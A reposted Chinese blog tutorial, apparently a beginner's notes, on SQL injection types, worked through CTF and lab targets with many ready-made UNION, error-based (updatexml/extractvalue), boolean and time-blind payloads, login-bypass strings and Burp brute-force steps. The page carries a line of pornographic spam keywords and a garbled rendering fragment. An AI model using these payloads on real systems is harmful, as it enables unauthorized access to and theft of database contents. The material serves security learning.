国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

常見(jiàn)的一些SQL注入漏洞類(lèi)型

這篇具有很好參考價(jià)值的文章主要介紹了常見(jiàn)的一些SQL注入漏洞類(lèi)型。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

剛接觸SQL注入,寫(xiě)一遍筆記幫助自己回顧知識(shí)或者給其他有需要的小伙伴。可能文中有的地方講的不對(duì),希望可以得到大佬們的糾正,謝謝!

什么是 SQL 注入 (SQL)?

SQL 注入是一種網(wǎng)絡(luò)安全漏洞,允許攻擊者干擾應(yīng)用程序?qū)ζ鋽?shù)據(jù)庫(kù)的查詢(xún)。它通常允許攻擊者查看他們通常無(wú)法檢索的數(shù)據(jù)。這可能包括屬于其他用戶(hù)的數(shù)據(jù),或應(yīng)用程序本身能夠訪問(wèn)的任何其他數(shù)據(jù)。在許多情況下,攻擊者可以修改或刪除這些數(shù)據(jù),從而導(dǎo)致應(yīng)用程序的內(nèi)容或行為發(fā)生持續(xù)變化。在某些情況下,攻擊者可以升級(jí) SQL 注入攻擊以破壞底層服務(wù)器或其他后端基礎(chǔ)架構(gòu),或執(zhí)行拒絕服務(wù)攻擊。

產(chǎn)生SQL注入的原理

程序開(kāi)發(fā)過(guò)程中不注意書(shū)寫(xiě)規(guī)范,對(duì)sql語(yǔ)句和關(guān)鍵字未進(jìn)行過(guò)濾,導(dǎo)致客戶(hù)端可以通過(guò)全局變量get或者post提交sql語(yǔ)句到服務(wù)器端正常運(yùn)行。

成功的 SQL 注入攻擊有什么影響?

成功的 SQL 注入攻擊可能導(dǎo)致未經(jīng)授權(quán)訪問(wèn)敏感數(shù)據(jù),例如密碼、信用卡詳細(xì)信息或個(gè)人用戶(hù)信息。近年來(lái),許多備受矚目的數(shù)據(jù)泄露事件都是 SQL 注入攻擊的結(jié)果,導(dǎo)致聲譽(yù)受損和監(jiān)管罰款。在某些情況下,攻擊者可以獲得進(jìn)入組織系統(tǒng)的持久后門(mén),從而導(dǎo)致長(zhǎng)期危害,而這種危害可能會(huì)在很長(zhǎng)一段時(shí)間內(nèi)被忽視。

判斷注入點(diǎn)以及注入點(diǎn)有哪些類(lèi)型:

所謂注入點(diǎn)就是可以實(shí)行注入的地方,通常是一個(gè)訪問(wèn)數(shù)據(jù)庫(kù)的連接。(這里我個(gè)人理解就是產(chǎn)生的數(shù)據(jù)會(huì)被拼接到SQL語(yǔ)句帶到數(shù)據(jù)庫(kù)中運(yùn)行的地方)
首先判斷目標(biāo)的 URL 是否存在注入點(diǎn);如果存在注入點(diǎn),判斷注入點(diǎn)屬于哪種類(lèi)型。
按照參數(shù)分為:數(shù)值型注入和字符型注入
按照請(qǐng)求方式:GET注入,POST注入,Cookie注入,HTTP Header注入
按照是否回顯:顯注,盲注。

GET型SQL注入漏洞

GET 是 HTTP 協(xié)議的傳輸方式。它的特點(diǎn)就是可以直接以 URL 的形式傳輸數(shù)據(jù)。SQL注入就是利用GET傳參,用戶(hù)提交數(shù)據(jù)與數(shù)據(jù)庫(kù)進(jìn)行交互,從數(shù)據(jù)庫(kù)中提取有用的信息。
演示一些例子:
常規(guī)的注入
http://b9e231fa-9109-4398-9a50-7af313eaf147.node4.buuoj.cn:81/index.php?id=1
我這里更改id后面的數(shù)值,看界面發(fā)生的變化。
首先判斷注入類(lèi)型(數(shù)字型,字符型)
Id=1? and 1=1;Id=1? and 1=2 顯示正常
!常見(jiàn)的一些SQL注入漏洞類(lèi)型

id=1’,頁(yè)面出錯(cuò),Id=1’ ‘正常。判斷為字符型(采用閉合)
常見(jiàn)的一些SQL注入漏洞類(lèi)型

我們接下來(lái)進(jìn)行查詢(xún)數(shù)據(jù)庫(kù)中的內(nèi)容:
Id=4 或者id=-3效果一樣(-3,負(fù)數(shù)的id肯定是不存在的)
常見(jiàn)的一些SQL注入漏洞類(lèi)型

這時(shí)候我發(fā)現(xiàn)頁(yè)面顯示不正常了,判斷這是一個(gè)注入點(diǎn)
我們查詢(xún)當(dāng)前的庫(kù)名
?id=-3’ union select 1,2,database()–+
Note
根據(jù)庫(kù)名,查詢(xún)當(dāng)前庫(kù)的表名
?id=-3’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘note’–+(3后面的單引號(hào)是為了閉合前面的,–+為注釋 ‘+‘編碼后為空格)
fl4g,notes
根據(jù)表名來(lái)查詢(xún)字段
?id=-3’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘note’ and table_name=‘fl4g’–+
fllllag
根據(jù)字段來(lái)查詢(xún)字段的內(nèi)容
?id=-3’ union select 1,2,fllllag from note.fl4g–+
n1book{union_select_is_so_cool}
總結(jié):
1.如何判斷數(shù)字注入和字符注入?
這是數(shù)字注入其中的一條語(yǔ)句(select * from users where id =‘x’)
www.xxx.com/ccc.php?id=1 and 1=1 select * from users where id =x and 1=1;
頁(yè)面正常,繼續(xù)下一步
www.xxx.com/ccc.php?id=1 and 1=2 select * from users where id =1 and 1=2;
頁(yè)面報(bào)錯(cuò),則說(shuō)明存在數(shù)字型注入。
這是字符注入其中的一條語(yǔ)句(select * from users where id =‘x’)
www.xxx.com/ccc.php?id=1’ and ‘1’='1 select * from users where id=‘x’ and ‘1’=‘1’
頁(yè)面正常,繼續(xù)下一步
www.xxx.com/ccc.php?id=1’ and ‘1’='2 select * from users where id=‘x’ and ‘1’=‘2’
頁(yè)面報(bào)錯(cuò),則說(shuō)明存在字符型注入。
數(shù)字型和字符型最大的一個(gè)區(qū)別在于,數(shù)字型不需要單引號(hào)來(lái)閉合,而字符串一般需要通過(guò)單引號(hào)來(lái)閉合的。當(dāng)單引號(hào)不成功的話,我們可以試試其他的閉合方法。
閉合字符串,是為了讓我們執(zhí)行后面我們想要的代碼。
其他一些測(cè)試字符型的閉合方法:
加單引號(hào):(我們要搭配注釋一起使用)
輸入KaTeX parse error: Expected 'EOF', got '#' at position 87: …要閉合多余的單引號(hào),使用注釋符#?或者–+。不同數(shù)據(jù)庫(kù)的注釋可能…id=1’–+
執(zhí)行的SQL語(yǔ)句就是select * from table where id=‘1’ --+’
語(yǔ)句正確,頁(yè)面正常(才能確認(rèn)成功閉合了字符串)
除了單引號(hào),還有雙引號(hào)”,括號(hào)),雙括號(hào))),組合’)等其他的方法。

‘)

“)
2.注釋
甲骨文 --comment
微軟 --comment
/comment/
PostgreSQL --comment
/comment/
MySQL #comment
– comment[注意雙破折號(hào)后的空格]
/comment/
+,20%也是代表空格。


POST型注入演漏洞

在 HTTP 常用方法中,POST 方法提交的實(shí)體不存儲(chǔ)在 URL 中,而是存儲(chǔ)在 HTTP 協(xié)議實(shí)體內(nèi)容中,在大多過(guò)程中,用戶(hù)時(shí)無(wú)法感知的。而我們的注入信息是存儲(chǔ)與 HTTP 實(shí)體內(nèi)容中而不是 URL,通過(guò)改造實(shí)體內(nèi)容,達(dá)到實(shí)際執(zhí)行 SQL 語(yǔ)句獲取到更多信息的目的。因此我們看不到提交的數(shù)據(jù),但是我們可以借助代理工具 Burp Suite,將我們提交的報(bào)文進(jìn)行攔截,并對(duì)報(bào)文實(shí)體內(nèi)容進(jìn)行改造。
演示一些例子:
前言:GET和POST請(qǐng)求
GET提交,請(qǐng)求的數(shù)據(jù)會(huì)附在URL之后(就是把數(shù)據(jù)放置在HTTP協(xié)議頭中),以?分割URL 和傳輸數(shù)據(jù),多個(gè)參數(shù)用&連接,我們之前的實(shí)驗(yàn)接觸的都是GET。
POST提交:把提交的數(shù)據(jù)放置在是HTTP包的包體中。
因此,GET提交的數(shù)據(jù)會(huì)在地址欄中顯示出來(lái),而POST提交,地址欄不會(huì)改變
例如:
常見(jiàn)的一些SQL注入漏洞類(lèi)型
其實(shí)這跟之前的注入都差不多,修改的地方變了而已。為了節(jié)省時(shí)間直接看網(wǎng)頁(yè)的源碼。
常見(jiàn)的一些SQL注入漏洞類(lèi)型
這里可以看到sql執(zhí)行的語(yǔ)句,因此采用單引號(hào)來(lái)閉合。
(’ or 1=1 – )這個(gè)代入上方語(yǔ)句中,值始終為真,因此可以直接不需要用戶(hù)名就可以登錄。
(admin ‘-- )表中如果存在賬戶(hù)admin,這樣也可以登錄進(jìn)去,還有其他很多的萬(wàn)能密鑰。
確認(rèn)這里是注入點(diǎn)后,就可以為所欲為了。
判斷字段數(shù)
常見(jiàn)的一些SQL注入漏洞類(lèi)型
‘ or 1=1 order by 2-- //顯示正確,兩個(gè)字段數(shù)
接下來(lái)試著能不能看到回顯:’ or 1=1 union select 11111,222–
常見(jiàn)的一些SQL注入漏洞類(lèi)型
網(wǎng)頁(yè)做過(guò)處理,看不到回顯點(diǎn),再試試報(bào)錯(cuò)注入:’
常見(jiàn)的一些SQL注入漏洞類(lèi)型
報(bào)錯(cuò)了,直接套用以前的攻擊載荷,進(jìn)行爆破即可。
注:這里的+是空格,復(fù)制的時(shí)候要把+變成“ ”,才能成功。
爆數(shù)據(jù)庫(kù)名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))–+

爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))–+

爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=“TABLE_NAME”)),0x7e))–+

爆數(shù)據(jù):'and(select updatexml(1,concat(0x7e,(select group_concat(username)from users)),0x7e))–+
注:同樣的其他閉合方式的UNION聯(lián)合攻擊,盲注也與上面類(lèi)似套用之前實(shí)驗(yàn)的攻擊載荷就可以了。
常見(jiàn)的一些SQL注入漏洞類(lèi)型
Error_reporting(0);會(huì)屏蔽掉報(bào)錯(cuò)的信息。這種情況可以采用盲注的方式試看看。


Error-based基于報(bào)錯(cuò)注入
當(dāng)頁(yè)面經(jīng)過(guò)精心處理過(guò),可能我們是看不到顯示位的 , 但有數(shù)據(jù)庫(kù)的報(bào)錯(cuò)信息顯示時(shí), 可使利用一些函數(shù)加上準(zhǔn)備好的語(yǔ)句結(jié)合使用,將查詢(xún)的數(shù)據(jù)通過(guò)報(bào)錯(cuò)返回到頁(yè)面上。
演示一些類(lèi)型:
報(bào)錯(cuò)注入
這里我用的:?id=1) union select 1,2,3–+
是看不到回顯的,我們嘗試調(diào)試語(yǔ)句能不能讓數(shù)據(jù)庫(kù)報(bào)錯(cuò)信息
常見(jiàn)的一些SQL注入漏洞類(lèi)型
?id=-1’,這里可以看到報(bào)錯(cuò)信息,我們利用函數(shù),將查詢(xún)信息包含在報(bào)錯(cuò)信息返回給到界面
常見(jiàn)的一些SQL注入漏洞類(lèi)型
利用xpath語(yǔ)法錯(cuò)誤來(lái)進(jìn)行報(bào)錯(cuò)注入主要利用extractvalue和updatexml兩個(gè)函數(shù)。
使用條件:mysql版本>5.1.5
Extractvalue:
pyload:id=‘a(chǎn)nd(select extractvalue(“anything”,concat(’~’,(select語(yǔ)句))))
查數(shù)據(jù)庫(kù)名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“TABLE_NAME”))))
爆數(shù)據(jù):id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

Updatexml:
payload:id=‘a(chǎn)nd(select updatexml(“anything”,concat(’~’,(select語(yǔ)句())),“anything”))
爆數(shù)據(jù)庫(kù)名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=“TABLE_NAME”)),0x7e))
爆數(shù)據(jù):'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

這里挑updatexml函數(shù)為例子:
查看當(dāng)前數(shù)據(jù)庫(kù)
?id=1’ and updatexml(1,concat(’~’,(select database())),1)–+
查看表users里字段username的內(nèi)容:
?id=1’ and updatexml(1,concat(’~’,(select group_concat(username) from users)),1)–+
注:還有其他一些函數(shù),也可以達(dá)到預(yù)期的效果。


SQL盲注漏洞

當(dāng)應(yīng)用程序容易受到 SQL 注入攻擊,但其 HTTP 響應(yīng)不包含相關(guān) SQL 查詢(xún)的結(jié)果或任何數(shù)據(jù)庫(kù)錯(cuò)誤的詳細(xì)信息時(shí)(UNION對(duì)于盲 SQL 注入漏洞,攻擊 等許多技術(shù)都無(wú)效,因?yàn)樗鼈円蕾?lài)于能夠在應(yīng)用程序的響應(yīng)中看到注入查詢(xún)的結(jié)果。)就會(huì)出現(xiàn) SQL 盲注。
演示一些類(lèi)型:
1.我們通過(guò)OUTFILE將查詢(xún)到的數(shù)據(jù)寫(xiě)到文件當(dāng)中來(lái)查看。對(duì)于出錯(cuò)的頁(yè)面被優(yōu)化后是不返回報(bào)錯(cuò)的具體信息和回顯信息。
常見(jiàn)的一些SQL注入漏洞類(lèi)型
2.盲注
2.1,我們可以通過(guò)一些函數(shù)將從數(shù)據(jù)庫(kù)中查詢(xún)的數(shù)據(jù)進(jìn)行猜測(cè),并進(jìn)行布爾判斷該值。
列如:(這里采用二分法判斷減小工作量或者使用burpsuite軟件直接爆破)
length(database())>1 判斷當(dāng)前數(shù)據(jù)庫(kù)的長(zhǎng)度,為后面做準(zhǔn)備
substring(str,pos,len)將str字符轉(zhuǎn)中的字符從第pos位開(kāi)始,共截取len位并返回
爆庫(kù)
?id=1’and substring(database(),1,1)=‘s’–+ //假設(shè)第一個(gè)字母是s,正確的話頁(yè)面會(huì)顯示正常
常見(jiàn)的一些SQL注入漏洞類(lèi)型
這里經(jīng)過(guò)判斷,得出當(dāng)前庫(kù)的的名字之后,可以參照前面幾種注入方法的思路,從而得到數(shù)據(jù)庫(kù)中的數(shù)據(jù):
接下來(lái)爆表(ascii函數(shù)會(huì)返回ascii值)
?id=1’and ascii(substring((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>0–+
爆列
?id=1’and ascii(substring((select column_name from information_schema.columns where table_schema=‘security’ and table_name='users’limit 0,1),1,1))>0–+
最后爆庫(kù)的數(shù)據(jù)內(nèi)容
?id=1’and ascii(substring((select id from users limit 0,1),1,1))>0–+
?id=1’and ascii(substring((select password from users limit 0,1),1,1))>0–+
?id=1’and ascii(substring((select username from users limit 0,1),1,1))>0–+
注:這種二分法判斷一般的話工作量都很大,因此我們可以借助工具快速完成判斷。
下面簡(jiǎn)單用burpsuite做一下演示:
第一步,抓包
常見(jiàn)的一些SQL注入漏洞類(lèi)型
第二步,把抓到的包發(fā)送到測(cè)試器模塊
常見(jiàn)的一些SQL注入漏洞類(lèi)型
第三步,這里我們先點(diǎn)擊清除,然后移動(dòng)光標(biāo)到我們想替代的地方,這里我們主要是替換%27a%27中間的字符a,因此給a兩邊添加。
常見(jiàn)的一些SQL注入漏洞類(lèi)型
第四步,我們要選擇有效載荷,這里可以直接通過(guò)下拉菜單選擇一些常用的載荷
常見(jiàn)的一些SQL注入漏洞類(lèi)型
最后一步,點(diǎn)擊攻擊,觀察那些跟其他頁(yè)面不一致的情況,可能就是我們想要的結(jié)果
常見(jiàn)的一些SQL注入漏洞類(lèi)型
注:我們通過(guò)改變substring函數(shù)當(dāng)中的偏移位,依次得到完整的數(shù)據(jù)。
2.2 時(shí)間盲注。上面的那種情況,說(shuō)白了我們還是通過(guò)觀察頁(yè)面的一細(xì)微的差異得到真實(shí)的數(shù)據(jù)。還有更糟糕的時(shí)候,無(wú)法準(zhǔn)確判別頁(yè)面差異,這時(shí)候可以通過(guò)時(shí)間盲注來(lái)達(dá)到預(yù)期效果。如果結(jié)果為真,可以讓頁(yè)面反應(yīng)時(shí)間加快或延遲。
這里用了一些閉合方式,發(fā)現(xiàn)頁(yè)面都是一個(gè)樣子,猜測(cè)可能是關(guān)閉了報(bào)錯(cuò),且無(wú)論語(yǔ)句正確與否返回的結(jié)果都是相同的。
常見(jiàn)的一些SQL注入漏洞類(lèi)型
可以試試時(shí)間盲注效果是什么樣的
sleep()參數(shù)寫(xiě)數(shù)字,此函數(shù)用于將時(shí)間延遲,參數(shù)的單位是秒
if(expr1,expr2,expr3)若expr1為真則執(zhí)行expr2,否則執(zhí)行expr3
?id=1 and sleep(10)–+
?id=1 'and sleep(10)–+ //這里頁(yè)面延遲了,采用的是單引號(hào)閉合
爆庫(kù)
?id=1’and if(database()=‘security’,sleep(2),1)–+ //這里爆當(dāng)前的數(shù)據(jù)庫(kù)
爆表
?id=1’and if(ascii(substring((select table_name from information_schema.tables where table_schema='security’limit 0,1),1,1))>0,sleep(2),1)–+
下面的爆列,數(shù)據(jù)和上面的類(lèi)似,一次替換到if()函數(shù)的對(duì)應(yīng)位置即可。
這里也可以采用工具爆破節(jié)省時(shí)間。


SQL二次注入

一階 SQL 注入出現(xiàn)在應(yīng)用程序從 HTTP 請(qǐng)求中獲取用戶(hù)輸入并在處理該請(qǐng)求的過(guò)程中以不安全的方式將輸入合并到 SQL 查詢(xún)中的情況。

二階 SQL 注入(存儲(chǔ) SQL 注入)中,應(yīng)用程序從 HTTP 請(qǐng)求中獲取用戶(hù)輸入并將其存儲(chǔ)以供將來(lái)使用。這通常是通過(guò)將輸入放入數(shù)據(jù)庫(kù)來(lái)完成的,但在存儲(chǔ)數(shù)據(jù)的位置不會(huì)出現(xiàn)漏洞。稍后,當(dāng)處理不同的 HTTP 請(qǐng)求時(shí),應(yīng)用程序會(huì)檢索存儲(chǔ)的數(shù)據(jù)并以不安全的方式將其合并到 SQL 查詢(xún)中。二階 SQL 注入通常出現(xiàn)在開(kāi)發(fā)人員知道 SQL 注入漏洞的情況下,因此可以安全地處理將輸入初始放置到數(shù)據(jù)庫(kù)中的情況。當(dāng)數(shù)據(jù)稍后被處理時(shí),它被認(rèn)為是安全的,因?yàn)樗氨话踩胤湃霐?shù)據(jù)庫(kù)中。此時(shí),數(shù)據(jù)以不安全的方式處理,因?yàn)殚_(kāi)發(fā)人員錯(cuò)誤地認(rèn)為它是可信的。

HTTP Header注入漏洞

HTTP請(qǐng)求頭我們主要關(guān)注四個(gè)部分:分別是referer、user-agent、cookie、X-Forwarded-For(XFF是用來(lái)標(biāo)識(shí)請(qǐng)求來(lái)源的IP信息)
例如:
Host:主機(jī)或域名地址
Accept:指瀏覽器或其他用戶(hù)可接受的MIME文件格式,Servlet可以根據(jù)它來(lái)判斷并返回適當(dāng)?shù)奈募袷?br> User-Agent:記錄客戶(hù)瀏覽器的名稱(chēng),版本啥的
Accept-Language:瀏覽器可接受的語(yǔ)言,比如en-us或者en指英語(yǔ)
connection:用來(lái)告訴服務(wù)器是否維持固定的http連接,這里默認(rèn)值是KEEP-ALIVE保持連接,這樣在需要多個(gè)文件時(shí)就不需要一次一連
Cookie:瀏覽器用這個(gè)屬性向服務(wù)器發(fā)送cookie,可以記載用戶(hù)信息,也哭一實(shí)現(xiàn)會(huì)話功能
referer:表面產(chǎn)生請(qǐng)求的url
content-type:用來(lái)表名request內(nèi)容類(lèi)型
Accept-Encoding:指瀏覽器可接受的編碼方式,瀏覽器在接收web響應(yīng)后會(huì)先編碼,再檢查文件格式。
請(qǐng)求頭比較容易注入的有Cookie, User-agent,和Referer
演示一些例子:
前面學(xué)習(xí)了很多注入點(diǎn),今天又是新的一個(gè)注入點(diǎn)uagent常見(jiàn)的一些SQL注入漏洞類(lèi)型
根據(jù)參數(shù)判斷請(qǐng)求頭注入類(lèi)型
常見(jiàn)的一些SQL注入漏洞類(lèi)型
一開(kāi)始有些疑問(wèn),這里禁止了錯(cuò)誤報(bào)告,為什么還會(huì)顯示錯(cuò)誤信息,后來(lái)明白了,往下看
常見(jiàn)的一些SQL注入漏洞類(lèi)型
這里對(duì)username和password都進(jìn)行了過(guò)濾。
常見(jiàn)的一些SQL注入漏洞類(lèi)型
這里可以看到有一個(gè)數(shù)據(jù)庫(kù)報(bào)錯(cuò)信息輸出,這就是利用報(bào)錯(cuò)注入的原因所在??梢越柚鷌nsert into語(yǔ)句中uagent值去注入,造成數(shù)據(jù)庫(kù)內(nèi)部錯(cuò)誤,通過(guò)print函數(shù)輸出。
常見(jiàn)的一些SQL注入漏洞類(lèi)型
上方的思路有個(gè)前提條件,我們需要知道用戶(hù)名和密碼,才能執(zhí)行上面的代碼段。
常見(jiàn)的一些SQL注入漏洞類(lèi)型
這時(shí)候我們通過(guò)用戶(hù)名和密碼登錄后,抓包后其中顯示了user-agent的內(nèi)容,按照上面思路
常見(jiàn)的一些SQL注入漏洞類(lèi)型
使用閉合引起數(shù)據(jù)庫(kù)報(bào)錯(cuò)(剛才源碼已經(jīng)知道了是單引號(hào)閉合,這里就不浪費(fèi)時(shí)間了)
在字符串后添加”單引號(hào)”,然后點(diǎn)擊放包,觀察頁(yè)面響應(yīng)情況
常見(jiàn)的一些SQL注入漏洞類(lèi)型
報(bào)錯(cuò)了,下面利用之前的報(bào)錯(cuò)載荷進(jìn)行替代,就可以達(dá)到預(yù)期目的了。但是替換的時(shí)候要注意insert to 語(yǔ)句的語(yǔ)法。
當(dāng)前的數(shù)據(jù)庫(kù)
',1,updatexml(1,concat(0x7e,(select database()),0x7e),1))#

表中內(nèi)容
',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ limit 0,1),0x7e),1))#

總結(jié):
1.這里因?yàn)閡pdatexml函數(shù)的參數(shù)的問(wèn)題困了我好久,這個(gè)函數(shù)總共有三個(gè)參數(shù),我之前最后一個(gè)參數(shù)忘記加了,浪費(fèi)了很多時(shí)間。如果載荷括號(hào)多的情況一定要放在一些比較方便的文本器查看括號(hào)是否匹對(duì),以及函數(shù)參數(shù)設(shè)置是否正確。在注入的時(shí)候,還要注意其他函數(shù)的語(yǔ)法問(wèn)題(這次的攻擊載荷跟以往載荷差別很大,比如最后我們還要添加上一個(gè)括號(hào)“)”,原理很簡(jiǎn)單為了和insert into 語(yǔ)句閉合)。不要為了圖方便,隨便把別人的攻擊載荷復(fù)制拿來(lái)直接用,這個(gè)我深有體會(huì),本想為了節(jié)省時(shí)間直接拿以前的攻擊載荷復(fù)制替換,導(dǎo)致很多地方出錯(cuò)。對(duì)于攻擊載荷使用之前,可以檢查一遍是否正確,排除一些括號(hào)匹配,參數(shù)錯(cuò)誤等問(wèn)題。


SQL堆疊注入

堆疊注入與受限于select語(yǔ)句的聯(lián)合查詢(xún)法相反,堆疊注入可用于執(zhí)行任意SQL語(yǔ)句。簡(jiǎn)單地說(shuō)就是MYSQL的多語(yǔ)句查詢(xún)。
堆疊注入的局限性:并不是在任何換環(huán)境下都可以執(zhí)行的,可能受到API或者數(shù)據(jù)庫(kù)引擎不支持的限制(如Oracle數(shù)據(jù)庫(kù)),也有可能權(quán)限不足。web系統(tǒng)中,代碼通常只返回一個(gè)查詢(xún)結(jié)果,因此堆疊注入第二個(gè)語(yǔ)句產(chǎn)生錯(cuò)誤或者結(jié)果只能被忽略,我們?cè)谇岸私缑媸菬o(wú)法看到返回結(jié)果的。因此,在讀取數(shù)據(jù)時(shí),一般建議使用union注入.同時(shí)在使用堆疊注入之前,需要知道數(shù)據(jù)庫(kù)的一些相關(guān)信息,比如:表名,列名等信息文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-467598.html

到了這里,關(guān)于常見(jiàn)的一些SQL注入漏洞類(lèi)型的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶(hù)投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • SQL注入的一些示例及解決SQL注入的方法

    SQL注入是一種常見(jiàn)的網(wǎng)絡(luò)攻擊手段,攻擊者通過(guò)把SQL命令插入到Web表單提交或輸入框后面,盜取數(shù)據(jù)庫(kù)信息,甚至控制數(shù)據(jù)庫(kù)服務(wù)器。解決SQL注入的方法如下: 1、使用參數(shù)化查詢(xún): 參數(shù)化查詢(xún)是一種預(yù)編譯查詢(xún),該查詢(xún)將參數(shù)和SQL語(yǔ)句分開(kāi),從而允許程序?qū)?shù)值與SQL語(yǔ)句

    2023年04月09日
    瀏覽(18)
  • SQL注入(1)--判斷是否存在SQL注入漏洞

    SQL注入(1)--判斷是否存在SQL注入漏洞

    不論是學(xué)習(xí)后端開(kāi)發(fā)/數(shù)據(jù)庫(kù)/網(wǎng)絡(luò)安全,SQL注入安全隱患反復(fù)被提起 到底什么是SQL? 維基百科的定義: (1)什么是SQL? SQL是用來(lái)操控?cái)?shù)據(jù)庫(kù)的語(yǔ)言 (2)舉一個(gè)例子,現(xiàn)在我們要查詢(xún)電影“長(zhǎng)津湖”的票房數(shù)據(jù): 先想象一下開(kāi)發(fā)人員是如何書(shū)寫(xiě)代碼從數(shù)據(jù)庫(kù)中拿到數(shù)據(jù)的:

    2024年02月05日
    瀏覽(25)
  • SQL注入之WHERE 子句中的 SQL 注入漏洞

    SQL注入之WHERE 子句中的 SQL 注入漏洞

    ● 實(shí)驗(yàn)室要求 此實(shí)驗(yàn)室在產(chǎn)品類(lèi)別篩選器中包含 SQL 注入漏洞。當(dāng)用戶(hù)選擇類(lèi)別時(shí),應(yīng)用程序?qū)?zhí)行如下所示的 SQL 查詢(xún): 若要解決實(shí)驗(yàn)室問(wèn)題,請(qǐng)執(zhí)行 SQL 注入攻擊,使應(yīng)用程序顯示任何類(lèi)別(已發(fā)布和未發(fā)布)中所有產(chǎn)品的詳細(xì)信息。 ● 必要知識(shí)點(diǎn) 一個(gè)沒(méi)有安全概念的

    2024年02月14日
    瀏覽(28)
  • 【SQL注入漏洞-06】HTTP頭部注入靶場(chǎng)實(shí)戰(zhàn)

    【SQL注入漏洞-06】HTTP頭部注入靶場(chǎng)實(shí)戰(zhàn)

    常見(jiàn)的sql注入一般是 通過(guò)請(qǐng)求參數(shù)或者表單進(jìn)行注入 ,HTTP頭部注入是 通過(guò)HTTP協(xié)議頭部字段值進(jìn)行注入 。 產(chǎn)生HTTP頭部注入的條件: 能夠?qū)φ?qǐng)求頭消息進(jìn)行修改 修改的請(qǐng)求頭信息能夠帶入數(shù)據(jù)庫(kù)進(jìn)行查詢(xún) 數(shù)據(jù)庫(kù)沒(méi)有對(duì)輸入的請(qǐng)求信息做過(guò)濾 User-Agent :是Http協(xié)議中的一部分

    2024年02月02日
    瀏覽(26)
  • SQL 注入漏洞攻擊

    SQL 注入漏洞攻擊

    假設(shè)你用自己的用戶(hù)名和密碼登錄了一個(gè)付費(fèi)網(wǎng)站,網(wǎng)站服務(wù)器就會(huì)查詢(xún)一下你是不是 VIP 用戶(hù),而用戶(hù)數(shù)據(jù)都是放在數(shù)據(jù)庫(kù)中的,服務(wù)器通常都會(huì)向數(shù)據(jù)庫(kù)進(jìn)行查詢(xún),要向數(shù)據(jù)庫(kù)進(jìn)行增刪改查操作,就需要用到 SQL 語(yǔ)言。 但是,作為 SQL 的注入攻擊者,我們并不知道網(wǎng)站的密

    2024年02月09日
    瀏覽(21)
  • 漏洞原理 SQL 注入

    漏洞原理 SQL 注入

    OWASP漏洞原理啟航(第一課)-CSDN博客 OWASP漏洞原理<最基礎(chǔ)的數(shù)據(jù)庫(kù) 第二課>-CSDN博客 小皮面板(phpstudy

    2024年02月20日
    瀏覽(23)
  • SQL注入漏洞詳解

    SQL注入漏洞詳解

    ? ? ? ? 結(jié)構(gòu)化查詢(xún)語(yǔ)言(Structured Query Language,簡(jiǎn)稱(chēng)SQL)是一種特殊目的的編程語(yǔ)言,是一種數(shù)據(jù)庫(kù)查詢(xún)和程序設(shè)計(jì)語(yǔ)言,用于存取數(shù)據(jù)以及查詢(xún)、更新和管理關(guān)系型數(shù)據(jù)庫(kù)。SQL注入漏洞主要形成的原因是Web應(yīng)用程序?qū)τ脩?hù)的輸入沒(méi)有做嚴(yán)格的判斷,導(dǎo)致用戶(hù)可用將非法的

    2023年04月20日
    瀏覽(23)
  • DVWA之SQL注入漏洞

    DVWA之SQL注入漏洞

    1、先確定正常和不正常的回顯 回顯,就是顯示正在執(zhí)行的批處理命令及執(zhí)行的結(jié)果等。 輸入1時(shí),有回顯,是正常的 數(shù)據(jù)庫(kù)語(yǔ)句: select * from table where id =1 輸入5時(shí),有回顯,是正常的 數(shù)據(jù)庫(kù)語(yǔ)句: select * from table where id =5 輸入6時(shí),沒(méi)有回顯 數(shù)據(jù)庫(kù)語(yǔ)句: select * from table

    2024年02月08日
    瀏覽(17)
  • Web通用漏洞--sql注入

    Web通用漏洞--sql注入

